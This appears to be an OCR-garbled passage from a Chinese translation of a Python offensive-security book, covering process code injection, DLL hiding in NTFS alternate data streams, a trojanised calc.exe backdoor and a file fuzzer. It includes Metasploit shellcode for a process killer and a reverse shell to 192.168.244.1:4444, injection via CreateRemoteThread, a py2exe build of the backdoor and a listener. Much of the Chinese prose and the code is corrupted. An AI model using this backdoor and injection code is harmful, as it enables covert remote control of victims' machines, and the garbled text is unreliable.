MAETRATA T H O shellcode, A& Al K 4T SE PR code  injection TAF 1 s

#code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE _EXECUTE READWRITE = 0x00000040
PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])



pid_to kill — =sys.argv[2]
if not sys.argv[ 1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil
sys.exit(0)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
shellcode =\
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b" \
"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \
"\xac\x84\xc0\x74\x07\xc 1\xca\x0d\x0 1\xc2\xeb\xf4\x3b\x 54\x24\x 04" \
"x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x 1 c\x01\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \
"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x 89\x 8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x 0e\x 5 7\x 1" \
"xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x61\x 73\x6b" \
"x6b\x69\x6¢c\x6c\x20\x2\x50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (len( pid_to_kill ))
replace value = pid to kill + ("\x00" * padding )
replace string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid

code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE _EXECUTE READWRITE = 0x00000040

PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )

VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid_to kill — =sys.argv[2]

if not sys.argv[ 1] or not sys.argv[2]:

print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode =\



"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7¢\x05\x 78\x0 1 \xef\x 8b" \
"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \
"xac\x84\xc0\x74\x07\xc 1\xca\x0d\x0 1\xc2\xeb\xf4\x3b\x 54\x24\x 04" \
"x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1 c\x01\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \
"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x89\x 8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x 1" \
"xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x61\x 73\x6b" \
"x6b\x69\x6¢c\x6c\x20\x2\x50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (len( pid_to_kill ))
replace value = pid to kill + ("\x00" * padding )
replace string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:

print "[*] Couldn't acquire a handle to PID: %s" % pid

sys.exit(0)
# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
VIRTUAL MEM, PAGE EXECUTE READWRITE)
# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
code_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = ¢_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,

0,byref(thread id)):

print "[*] Failed to inject process-killing shellcode. Exiting."

sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" %

thread id.value

print "[*] Process %s should not be running anymore!" % pid_to_kill

I THT P ARRD R 7 LR AR AR AR, (ER I A S i B I5 11 . 25 — 1, B 4 shellcode
FRERATTARZ B PID M5 o 5 — MEM TR T, B2 A CreateRemoteThread ()i,
IpStartAddress 45 7] ££ /i shellcode MBI, 1M IpParameter %%y NULL. RYRATA T Z AL
MNEMZH, BATHR RO ZLFZHAT shelledoe.

JAH 2480 F



J/code_injector.py <PID to inject> <PID to kill>

ENGIENSE, LR RINE, HiaiRREILRE ID. Hir#tfEgL&bE, Rad
F] cmd.exe HFEHLE R T o

BUAEARFNIE 1 far M 55 — N HERE N2 A AT shelledoe. IRAEATUER shell HE T, B
I R T, RO A ARSI AR R AL o 32 FOoRIBIRATT g Ak, g
—ANEERIRE T, 24 HARLEs R ZRIE g, it ae SR AGZE FE U [ ACRR

ATREFE RS 2 FE !

7.2 FERARAS

MAELEFRAIAE ZU M BB, REANR SRR BAVG0IE— ST,
BEMBN DR IEMMFERF (L calc.exe)e REH P HAT T calc.exe, FATHIEIT]
EEIRIF R AR cacl.exe PTG, HSTEPATIE T MARRL T RIES, AT RS calc.exe

CZHTBRATI S 1T 44 % cale.exe, KRR caclexe #EMMHLT ). 2 caclexe AT/,
HEEN, R shell BIFRATHINLES b, B EBRATFEN kill [XAS, RICFTHIZIT IR
o

G55 TAVEIE AR B 45N calc.exe 5?2 fRjEEMBE, v L. (HEZ LSRN T 5T
KUE —DUR R EIAR . thn, IRAEEEAZE AR, R H R AR KRR R, 2R
JE RS . B R EE, dd b — B E AR, ERIF IR LR . HARAIE—
Pl RGN A .

B a BATE S A B U Python BIA G 3 Al — AN 580 ) Windows FT$0AT SCHF, DA AU
AT B N# DLL. 4% N ok5%6HH W DLL Fjs8iE K.

721 CHREER

TATH G 1128 DLL IR, SN T RERS B e 4x i, 159 FH —LeRh %5 (1) 5 i K e K.
BATRERE FHARGRE, FEPIA S (A 3E3RATH) DLL) gk >k, Aid WE ARE Python
Hacer, 48144 A —FE T

OS #i &AW, NTFS [FIFEHEHE 1R 2 58 K Bafe i) #2575, 4 RIBATH
alternate data streams (ADS). M Windows NT 3.1 HiGstA 7 IXWHE A, HEZN T FER
ff) %4t Apple heirarchical file system (HFS)iEATiE 1. ADS faVFfl#E b1 —AN S0, Aetg ¥
DLL i fEAEE I, SR 5 BN 3 =g R AT o Atk 2 Bk i) SO, H2 RE WS 4 P m B4
I fERE 5 b REF 19 200

SR RSB S, AR TR ZREANK . BATR 2 24 T AW AR 1A
5 ADS, BT DA 18 18 2 R EAR

FE—3CHF BAEH ADS, IR, KBS E NG S, 3 IR EIRATAR R
34



reverser.exe:vnedll.dll

1E X ) 7 R AT vnedIl dll B 0 3] reverserexe T . N 1H B A A R B A
file_hider.py, #t40EEHCCHR G S N8 E K] ADS.

#file hider.py

import sys

# Read in the DLL

fd = open( sys.argv[1], "rb" )

dll_contents = fd.read()

fd.close()

print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS

fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )

fd.close()

RETE, 55— MEANKSHO L A TEESE K DLL, 25 280t Btk A
TRV AEWSARTT R, S NRIITT 3, R IRATHI SN B AR SRS A1 — i

722 KEEI]

LA R FRAT B EE (AR, R B B S SR A AR T AT T BT AT
I, &R ARATE G 1T % T4 A cale.exe T K JFOR Y cale.exe B ahE] T (st 7.
P MAASAT THE 2 e, B2 AL B PAT 7RIS, J5 TR i 3 m) 4QRs,
AR IERTHER . P 2BEARUEFACER AR, KIHEE R ES. Fif s
H 75 =% my_debugger defines.py, FHH S 1O R ENLSHMEE.

#backdoor.py

# This library is from Chapter 3 and contains all

# the necessary defines for process creation

import sys

from ctypes import *

from my_debugger defines import *

kernel32 = windll.kernel32

PAGE _EXECUTE READWRITE = 0x00000040
PROCESS_ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )
# This is the original executable



path_to exe ="C:\\calc.exe"

startupinfo = STARTUPINFO()
process_information =PROCESS_INFORMATIONY()
creation_flags = CREATE NEW_CONSOLE
startupinfo.dwFlags =0x1

startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path _to exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref{(startupinfo),
byref(process_information))
pid = process_information.dwProcessld

— PRI, WAHAI. 8 TR TAIEEN AR IR G T . JATHIEN R R
% A PRARAS 3 N FT DLL yE NP FRHIL; parameter brE 1 BN 1, data L&A DLL #$4%,
FAEFE T DLL 3 E N, BRINIHML T parameter % & AL 0, wiR2MRMEN. IREHLE)SHE.

#backdoor.py

def inject( pid, data, parameter = 0 ):
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data),
VIRTUAL MEM, PAGE EXECUTE READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, data,
len(data), byref(written))
thread _id = ¢_ulong(0)
if not parameter:
start address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")



start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibra
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None,
0,start_address,parameter,0,byref(thread id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
return True

WAEFATHE T 898 SR RV E NIARTD o 2 50K 1 BEAS 1] 1) shellcode v N E 1E [
cacl.exe #EFE T, —> shellcode /x5 shell AFAT, A—AARIE)SETTHEFE.

#backdoor.py

# Now we have to climb out of the process we are in

# and code inject our new process to kill ourselves

#/* win32 reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
Size=287 Encoder=None http://metasploit.com */

connect_back shellcode =
"\xfc\x6a\xeb\x4d\xe8\x fO\x fAx fAx fAx60\x8b\x6¢\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x0 1 \xef\x8b\x4f\x 1 8\x8b\x5A\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x3 1\xc0\x99\xac\x84\xc0\x 74\x07\xc 1\xca\x0d" \
"x01\xc2\xeb\x f4\x3b\x 54\x24\x28\x 75\xe5\x 8b\x 5f\x24\x0 1 \xeb\x 66" \
"\x8b\x0c\x4b\x8b\x5f\x 1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x 1 c\x61" \
"\xc3\x3 1\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x8b\x40" \
"x08\x5e\x68\x8e\x4e\x0e\xec\x 50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"x68\x77\x73\x32\x5f\x 54\x ff\xd0\x68\xcb\xed\x fc\x3b\x S0\x ff\xd6" \
"x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\x ffixd0\x68\xd9\x 09" \
"xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\x ff\xd0\x 68" \
"xc0\xa8\xf4\x01\x66\x68\x 1 1\x5¢c\x66\x53\x89\xe1\x95\x68\xec\x 9" \
"\xaa\x60\x57\xff\xd6\x6a\x 10\x5 1\x55\xfAxd0\x66\x6a\x64\x66\x68" \
"x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x3 1\xcO\x{3" \
"\xaa\x95\x89\x fd\x fe\x42\x2d\x fe\x42\x2c\x8d\x 7a\x 3 8\xab\xab\xab" \
"x68\x72\xfe\xb3\x 1 6\x fAx75\x28\x fi\xd6\x Sb\X S 7\x S2\x S I\x S I\x 51" \
"x6a\x01\x5 1\x5 1\x55\x5 1'\x fiixd0\x68\xad\xd9\x 05\xce\x53\x ff\xd6" \

"x6a\xfH\xf\x37\xf\xd0\x68\xe7\x 79\xc6\x 79\x fH\x 75\x 04\x ff\xd6" \
"xf\x77\xfe\x ff\xd0\x 68\xef\xce\xe0\x60\x 53 \x fi\x d6\x ff\xd0"

inject( pid, connect_back shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

our pid = str( kernel32.GetCurrentProcessld() )

process_Kkiller shellcode =\

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b" \



"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \
"\xac\x84\xc0\x74\x07\xc 1\xca\x0d\x0 1\xc2\xeb\xf4\x3b\x 54\x24\x 04" \
"x75\xe5\x8b\x5f\x24\x0 1 \xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1 c\x01\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \
"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x 89\x 8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x 1" \
"xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x61\x 73\x6b" \
"\x6b\x69\x6¢\x6¢\x20\x2f\x 50\x49\x44\x20\x4 1\x4 1\x4 1\x41\x00"
padding =4 - (len(our pid))

replace value = our pid + ( "\x00" * padding )

replace string= "\x41" * 4

process_Kkiller shellcode =

process_killer shellcode.replace( replace_string, replace_value )

# Pop the process killing shellcode in

inject( our_pid, process_Kkiller shellcode )

All right! J5 [ TF2 78 T H 48 (R A cacl.exe ﬁf%ﬂ*ﬂﬁ??iﬁ)ﬂ’] PID, ¥ shellcode
TENFHEFEE, SRS A shellcode HIK T . XANETLEE TIRZARKEAR. &
REE B RGE A NIBAT TS CHIRIREENE U8 IR 55 O S, BE RS RS,
BATh Re 8 DS HLAS I AL . 2 TR St il %, REREUR A, (S RETm, #ET
IEN AHRAERXBATIEHRZ T — /i, AT ailai#ss 7 Python, MATAM A Linux
We ? WX Al vh A B AR 7, BE Y BdEL, FRATE py2exe, BIREHE py SCHFEE
il exe L.

7.2.3 py2exe

py2exe J& — N HEH J (1] Python &£, FEH8K Python I 4 3 ik 5€ 4= A7 1) Windows
PATFEFF . 019 1E T I /EHR 2 2 T Windows “F &, Linux “F & W& Python. pyexe %
RTEMIG, VRERRERSAE A RS AT 1. fEX ZRTSEH R EA .

#setup.py

# Backdoor builder

from distutils.core import setup

import py2exe

setup(console=['backdoor.py'],
options = {'py2exe":{'bundle files":1}},
zipfile = None,
)

IRUFARTE 5. AFAEEBIRAMEN setup FI K%L 55—, console &A1 E S ¥ Python



A .  options Fl zipfile 241 B A 7 Z4T 6 1) Python DLL Al A Jll AR 1) 22 . X FEFR,
IR JE T TR BEAEAT AT V5 22 %5 python Y windlws &4t EAF ] T . #i{f my debugger defines.py,
backdoor.py, il setup.py XH/EARFIMHE T . fEAT MRIALL T4, dmidEia.

python setup.py py2exe

EgmBETERE, (EHX TN2ERZHMHAEHE, dist M build. 7E dist CAFJ N AT LR E]
backdoor.exe. FEATH A
calc.exe ¥ N 2| HAr 25t, 7K Hir RS calc.exe M C:A\WINDOWS\system32\ % Il 2] 51| )
H (ki C:\ folder). K FRATHY calc.exe HHilE] C:\WINDOWS\system32\ H 3% . IAEFKA]
W T EE— AN L shell #2111, FSRANSCHEK K shell
LH, RiEmA, HBIER.

#backdoor_shell.py

import socket

import sys
host="192.168.244.1"
port = 4444

server = socket.socket( socket. AF INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

backdoor shell.py

import socket

import sys
host="192.168.244.1"
port = 4444

server = socket.socket( socket. AF INET, socket.SOCK _STREAM )
server.bind( ( host, port ) )

server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

K — MR 4 1 socket IR A%, (AR IEZ —ANERE, NGB — LB LRl 1S T
fEo ARATDMELL host 1 port N H CLFREMIZH (Lbln 53, 80 Do JaigfT k45 #4547 o
MW, SRIGAEEFER KRG (AHLWAT) LIB1T caclexe. REBERIHH THHESME D, [FE
YR[#) Python shell AR45#8 oI BI— %S, FFIRERIEER . 8 7ITWT recv 13, EIZ N
CTRL-C #, RGP PR IRAN G2 o X s 2 345 1, EelnfiH Windows shell
W4, i dir, cd , type. T2 45 RE RGeS ARk . BERIA T —
ANEET T FARIAR S Y e, b e EARB, ke Reakid 35 2 iR B 0B, SRR
TAT H bRt 2 WA B3R, RAHER. A Python Flfabmie, Puk, &, nfHEH.

YRR IR, RO4E% 2 T DLL FARIBENZ AR A HBEAR . £45 513 E
MARECH W ) TR, RS RIACTEIX R e RS 1R AR M. BT RERNSEE R,
WATE G2 2 W R F2 )7 . Python, H Python-based fuzzer, P& i K H IR T H.



8

FUZZING

Fuzzing —EDCRHRANHRIEE, FAEHERIEE S
R TR AR . I ERA U, Fuzzing 52 5 BARIERF &
IR B T R DL R IR . IX—F, iEBATTe TR
MNARRR K] fuzzer T bug, Z FRNTEEH O T 5L —

™ file fuzzer. 7, 21411428 Sulley fuzzing HERLFII{T 1 — A% Windows

RSB fuzzer.

fuzzers FEA 70l 2 K. generation (F=4) I mutation (Z85F). Generation fuzzers
BIEEYE, AR5 KIE2 2 HIRFEF, mutation fuzzers F-AGIE R, &8 7 UK
B, REBSEdE. #4007, MIRATE fuzz —> web RS 25 {%, generation fuzzer
S BN Hitp 15 RIR G RILZ web RS 2%, 1 mutation fuzzer 243k Http 153K,
TEVERFZIB S web IR &S BRI EATH

TR RIRATRN B — A= 2 fuzzer, AT ESLXT AR ZEALNT bug M— AN fRjEL 1
T, I HEE fuzzer AT TATT. WIERETE AN 7RS40, v LU R ir) 4.

8.1Bug 1435

4 hacker 21 1) AR 0 A B FIRIR B, #84x BE SR B Bed2 I FE FF AT /Y bug.
Fuzzer Bt 17— B 2L 7 8 BhIRA TR bug, IRIGIRAG RGHIEHIRL, SETHEUR,
I BAG IR R U5 [ 1045 2 ANE HARRE P2 fE R GUMALISAT I HERE , 3458 RIS AT BIAS (1 2%
FEFF . FEX HIRATER R MALIBAT I HERE,  DAR IR 15 2

811 ZWXiH

G DX i o o ML o T BRI A RS BB L, A A ARG 2 g A
B A ST RE S A b DU YRR, B H

T 5 2, b X e i, B 2 B AR — D NI R R, B
HRATERAT R R o XL SR A AT DU AMRIEZ S B EEmR U B o AR — KA, R —ne



fK, BATRSATURAKEE I K, HERL NG, AR 1, &S R
— VIR I E 0. ARIEATI APPSR, A 2 2AR b, BN, RES s
R T MAEESAE BB —FER, RKRZHIK (i), BIAR—ME (buffer) W,
A2 BN RIER. (memory) 1o 29—/ Hrdi BEGES42 M) 22 A% (1 B 0 P A7 XS
B, ARSI PATBR, B — PR R R GiM5 B B o 3. A ik 22
GERIX U HE T AR AN THER . PR RN, (P A S5 R A Bl ek
PR A AT -

MR AR RO s A A, ORI BT URAE :  LE NS e K 4R T, A2
BAE, SRR, BOE A O e AR Bk, T DA RS AT RO o B H
fi, Yo —ADUT G RIS LE fuzzing IR BEARH 75 68 ERER R E AT,

JS2FHRE P AR IS AT I 2 Zh A I R G — B A7 X, X8 DXl R HE o M2 — B — B
FE—HEI, DsT At o Rt . = 0 R R 7 i 1) O R IR PR LA ) B HE PRI A%, S
WA T . A MUl el A o B OO T A R AR HE R AR, RBURE
ZANE, DL A E B . e I ARMEROL B R ERER B, OB A N AE R, — B
AR FP SLEVII G ], 7R EEAE PR 45 SR i RS 18] A A 7T REVs i 2, ARt T
RE—EL AV . 7E fuzzing KRR BATHLAT— EAF B — AV R G 7= 1 4 2 fiE, X4
i R A AERR T

MICROSOFT GLOBAL FLAGS

XTI AR SEE TN AL F &3 (or exploit writer) & [ JBETHAT . Gflags(Global flags 4= b5
BRI WML E, e ibiRIEE R IIREE, ], MM, ££ 2000,
xp A1 2003 b #RREHS 1 H X TIHE A .

X TG A B A R () b 5 7 T HE DU RSN o S 3RATTE —ANERR B 3T FFIX A3 T0 fry e fie
RN 28 22 ANAS T B N AEBHRAE, FE N A RIS AR . A B IEA NE MR U, B
RE 0% TEHE i H R 2R BB e 32 220 P2 AR — N T B, SRR R IR RS B A A = AR B R R A
IXFEAE T AR B 2 1 HEA G bug 10 FRATTHE BE 77 16 19 2 48 YR S AEWE

AT AE B8 ff A gflagsexe K % H Gflags fr & 3 B 3 411 IR BF HE & W .
http://www.microsoft.com/downloads/details.aspx?Familyld=49AE8576-9BB9-4126-9761-BA80
11FABF38&displaylang=en.iX M £F /& Microsoft "5 38 "$E ALY, TE" UL 223 ,

Immunity L2447 —A Gflags &, I H¥4 & PyCommand 455 7E T —i. 2115
S U7 A http://debugger.immunityinc.com/.

N T8 fuzzing i EARERT, AT AEERSTET REMEE, A )G IRERT,
R T RAE N RS, SRS B &R 58 UE B B2 (), my god!
FERREE 7—E WS HFEF IR, Integer Overflows # £  H o

8.1.2 Integer Overflows



B o — A AR A BRI, BRI (R RS ARAE ) AT B A
exploit QAT M ALK AN B —NAFFSBE, W 2 DFHR, RoRREE M -32767 2
32767, HEAMTMNZ A A7l — A BB 3 75 5 N RN B A (e, B el
KT o BN IIIECT KK, B2 AR s L2 BRI T E 5. YIERER, FEHRIEK
HoERMA . T A TE — DBt i ff] 1

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI

CALL msvcrt.malloc

WS AE AR N B [esprOX8ME LS EAX, 55 464, ¥ EAX I L 0x24 ix /M
HEAFfEAE EDI o 2 J5 A THG XA ME— I S 3 (HE I W AR K/ N R 2L malloc. — 11 F&
BRI, FARIXFE ? B e i P e 2 — NG 585, i HAEE R, JLT#E
I T A5 B ME ( 32767), RJEfhiEsy EAX, EAX AN E 0x24, B0, a3k
MR =R IME. H—FX 81, BERXR—VIRUMTRAER, et LSk
R4 hI, FRAIS B E R — A 9E% K OXFFFFFFFS.

Stack Parameter => OxFFFFFFF5

Arithmetic Operation => OxFFFFFFFS5 + 0x24

Arithmetic Result => (0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019

Listing 8-1: 745l N BB HIRAE

W —PIF], malloc ¥ K HIE 0x19 A5 K/ E], X H N A7 HOFR P AR B B
M AVMEBZ . SRR — KRB 5 X B Xk, S X iR AT o 7E fuzzing
(Im A, PATIAF BT B AR B /IME I AN TN T, MR PATHi B2 Rt & ik it —

AP, G AR R e S
N HAERATEPE —F 5 — M IR, %55 5 )RR Format String Attacks .

8.13 Format String Attacks

6 AL PR 5 Bk, A R, B I BT B R AR N A A L pR
B, EEPARY, P10 CiES R printf. 1EIRATIEEFE printf (1) 51

int printf( const char * format, ... );

BB E B IS AL T8, JRATRT CABANA N 24, Ros Bt
DAY 7= & P I



int test = 10000;

printf("We have written %d lines of code so far.", test);
Output:

We have written 10000 lines of code so far.

Yod A& — MU BT 4% A E AT IR E 148 MM S S (R & test DLEUT IO
). R —MEF BANOEEE 7 ORE RS, S 7R A:

char* test = "%x";
printf(test);
Output:
5a88c3188

XK EHEIRAF . FAE# T — MR BB T4 printf %L, (HREALBET
BHTEIM A& . printf 2T RAMEIES T NSE, H HEREERT T =S80k & 5 24T
B4, H2H S0 AR Z TR — N R . 72X AT 42 0x5a88¢3188, HIF/&AF
TEM LA, A PTRRERE —/ME R NAE TR Er . ARAMERTHRA®, —/ME %s, 7
—ANE %n.  %s TRARFFE R AR R R, N AEER R, ERIER —/ NULL
R, RBREFRERT o TSR — BRI 22 1 F0d sl e HURs @ Btk (0 B s #8+0
., SRR LU B R crash #2/F . %n FERTF (ME——AY R NAS ANAE, A
AR R R R o Xt U Vr, Bodh % 78 26 BRI IR [ itk , B3 S — N DA TE 1 R £
fakt, SRS RPATRIR . 7E fuzzing BIRLF S, FRATT R RN B o NI By e
AR ULIARF, SRIEREGS — M IR T 2R 5 A B R 5.

DAERATC XA F 1 bug BBH T AR T2, RBHEF IR OGS — fuzzer
T o BT RBATSR AR SZIL—A file fuzzer, B 5K IEW XA L2 J5 &G F AL,
IX R4k s Ad FRATT A IE 22 I X PyDbg. Come on!!!

8.2 File Fuzzer

File format vulnerabilitie SC 5% AL IR I L8081 %A 1 & 7 i B BAT 77 =8, 1M
TRAT B S R 1) 3l A2 R H ST A A% A 20 B B B IR 9] o TG 1 T X6 ) s A 21 B AR AR 2 ST
PGS, WATHA BNKE R TREM 4, SRS A RS RINE R IR, 3R
AT fuzzer ReHERA AL TG B, 285 H AL BI 3R o2 5 2 ol R A IR TR o B J b 2
BN emailing [ IhfE, TEBRATA BT 7 B S0 BB, RA 2 AR I IAENLAS BT A
EAE/E U

MAETF A SRS, 2, MEeE— N RHESE, F TR s SOk .

#file_fuzzer.py

from pydbg import *

from pydbg.defines import *
import utils

import random



import sys

import struct

import threading

import os

import shutil

import time

import getopt

class file fuzzer:

def init (self, exe path, ext, notify):

self.exe path = exe_path
self.ext = ext
self.notify crash = notify

self.orig_file = None
self.mutated file = None
self.iteration =0

self.exe path = exe_path
self.orig_file = None
self.mutated file = None
self.iteration =0
self.crash = None
self.send notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False

# Optional

self.smtpserver = 'mail.nostarch.com'

self.recipients = ['jms@bughunter.ca',]

self.sender = 'ms@bughunter.ca'

self.test cases = [ "%s%n%s%n%s%n", "\xff", "\x00", "A" ]
def file picker( self):

file list = os.listdir("examples/")

list_length = len(file_list)

file = file_list[random.randint(0, list length-1)]

shutil.copy("examples\\%s" % file,"test.%s" % self.ext)

return file

RMEDLE LT — e i Ae i, M FERERICSROCH RS 2, 1RSSR 2 AE A Ja
ANIWR B . file_picker B8 Ul FH N 2 H Python e8I HY H S NI A S, SRS REMLIEH—
NRATAT o

PRIV E G — B AR T T A T AF: gk



HARRER?, BREZBUE S, A sl Ja &1t HARRERr . 55 —22, K B bnie iy ndist
—MRIRLRE, I H 223 B SO s e B . 55—, ﬁ AL, AT R
PRI ZeAE, JF B A STE — BUK LRI A 2 JE RSB IR AL . 5 iR A3 B — Bt email 21
IUEAME R

#file_fuzzer.py

def fuzz( self):
while 1:

if not self.running: # Q)

# We first snag a file for mutation
self.test_file = self.file_picker()
self. mutate file()

# Start up the debugger thread pydbg_thread =
threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)
pydbg_thread.start()
while self.pid == None:

time.sleep(1)
# Start up the monitoring thread
monitor_thread = threading. Thread
(target=self.monitor_debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()

self.iteration += 1
else:
time.sleep(1)
# Our primary debugger thread that the application
# runs under
def start _debugger(self):
print "[*] Starting debugger for iteration: %d" % self.iteration
self.running = True
self.dbg = pydbg()
self.dbg.set callback(EXCEPTION ACCESS VIOLATION,self.check accessv)
pid = self.dbg.load(self.exe path,"test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()
# Our access violation handler that traps the crash
# information and stores it
def check accessv(self,dbg):
if dbg.dbg.u.Exception.dwFirstChance:



return DBG_ CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash _binning.crash _binning()
crash_bin.record crash(dbg)
self.crash = crash_bin.crash _synopsis()
# Write out the crash informations
crash_fd = open("crashes\\crash-%d" % self.iteration,"w")
crash_fd.write(self.crash)
# Now back up the files
shutil.copy("test.%s" % self.ext,"crashes\\%d.%s" %
(self.iteration,self.ext))
shutil.copy("examples\\%s" % self.test_file,"crashes\\%d _orig.%s" %
(self.iteration,self.ext))
self.dbg.terminate process()
self.in_accessv_handler = False
self.running = False
return DBG_EXCEPTION NOT HANDLED
# This is our monitoring function that allows the application
# to run for a few seconds and then it terminates it
def monitor debugger(self):
counter = 0
print "[*] Monitor thread for pid: %d waiting." % self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter +=1
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing
its business. Waiting."
while self.running:
time.sleep(1)
# Our emailing routine to ship out crash information
def notify(self):
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nlteration:
%d\n\nOutput:\n\n %s" %
(self.sender, self.iteration, self.crash)
session = smtplib.SMTP(smtpserver)

